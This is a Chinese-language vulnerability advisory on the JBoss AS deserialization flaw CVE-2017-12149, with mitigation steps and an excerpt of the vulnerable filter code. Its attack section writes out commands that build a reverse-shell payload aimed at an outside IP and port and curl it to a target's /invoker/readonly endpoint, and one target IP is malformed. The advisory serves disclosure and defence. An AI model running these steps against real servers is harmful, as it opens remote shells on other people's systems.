JBOSSAS 5.x/6.x 反序列化命令执行漏洞（CVE-2017-12149）通告

文档信息

编号	360TI-SV-2017-0012
关键字	CVE-2017-12149 JBossAS
发布日期	2017 年 11 月 22 日
更新日期	2017 年 11 月 22 日
TLP	WHITE
分析团队	360 威胁情报中心、360 安全监测与响应中心

通告背景

2017 年 8 月 30 日，Redhat 公司发布了一个 JbossAS 5.x 系统的远程代码执行严重漏洞通告，相应的漏洞编号为 CVE-2017-12149。近期有安全研究者发现 JbossAS 6.x 也受该漏洞影响，攻击者可能利用此漏洞无需用户验证在系统上执行任意命令。

360 威胁情报中心分析确认该漏洞可用，漏洞相关的技术细节和验证程序已经公开，互联网上受影响的主机数目较多。此漏洞极有可能被利用来执行大规模的攻击，构成现实的威胁，360 威胁情报中心发现已有存在漏洞的用户主机被攻击入侵并安装了挖矿程序（Miner）。因此，我们发布此通告提醒企业和组织采取应对措施以避免受此漏洞影响。

漏洞概要

漏洞名称	JBOSSAS 5.x/6.x 反序列化命令执行漏洞				
威胁类型	远程命令执行	**威胁等级**	高	**漏洞 ID**	CVE-2017-12149
受影响系统及应用版本					
Jboss AS 5.x Jboss AS 6.x					
不受影响影响系统及应用版本					

漏洞描述

该漏洞为 Java 反序列化错误类型，存在于 Jboss 的 HttpInvoker 组件中的 ReadOnlyAccessFilter 过滤器中。该过滤器在没有进行任何安全检查的情况下尝试将来自客户端的数据流进行反序列化，从而导致了漏洞。

影响面评估

360 威胁情报中心已经确认公开的漏洞利用代码有效，且该漏洞影响 5.x 和 6.x 版本的 JbossAS。目前评估潜在受影响主机数量超过 5000 台，整体影响面较大，综合分析威胁等级为高。

处置建议

修复方法

1. 不需要 http-invoker.sar 组件的用户可直接删除此组件。
2. 添加如下代码至 http-invoker.sar 下 web.xml 的 security-constraint 标签中，对 http invoker 组件进行访问控制：
   <url-pattern>/*</url-pattern>

技术分析

该漏洞存在于 http invoker 组件的 ReadOnlyAccessFilter 的 doFilter 中。如下图所示：

```
}

public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain)
  throws IOException, ServletException
{
  HttpServletRequest httpRequest = (HttpServletRequest)request;
  Principal user = httpRequest.getUserPrincipal();
  if ((user == null) && (this.readOnlyContext != null))
  {
    ServletInputStream sis = request.getInputStream();
    ObjectInputStream ois = new ObjectInputStream(sis);
    MarshalledInvocation mi = null;
    try
    {
      mi = (MarshalledInvocation)ois.readObject();
    }
    catch (ClassNotFoundException e)
    {
      throw new ServletException("Failed to read MarshalledInvocation", e);
    }
    request.setAttribute("MarshalledInvocation", mi);

    mi.setMethodMap(this.namingMethodMap);
    Method m = mi.getMethod();
    if (m != null) {
      validateAccess(m, mi);
    }
  }
  chain.doFilter(request, response);
}
```

方法中的代码在没有进行任何安全检查的情况下，将来自客户端的数据流（request.getInputStream()）进行了反序列化操作（红色箭头所示），从而导致了反序列化漏洞。

攻击方式

攻击者只需要构造带有需要执行 Payload 的 ser 文件，然后使用 curl 将二进制文件提交至目标服务器的 invoker/readonly 页面中，即可执行 Payload 中指定的命令，获取对电脑的控制权。攻击示例代码如下：

//编译预置 payload 的 java 文件

```
javac -cp .:commons-collections-3.2.1.jar ReverseShellCommonsCollectionsHashMap.java
```

//反弹 shell 的 IP 和端口

```
java -cp .:commons-collections-3.2.1.jar  ReverseShellCommonsCollectionsHashMap 1.1.1.1:6666
```

//使用 curl 向/invoker/readonly 提交 payload

```
curl http://192.268.197.25:8080/invoker/readonly --data-binary
@ReverseShellCommonsCollectionsHashMap.ser
```

参考资料

https://access.redhat.com/security/cve/cve-2017-12149

更新历史

时间	内容
2017 年 11 月 22 日	初始报告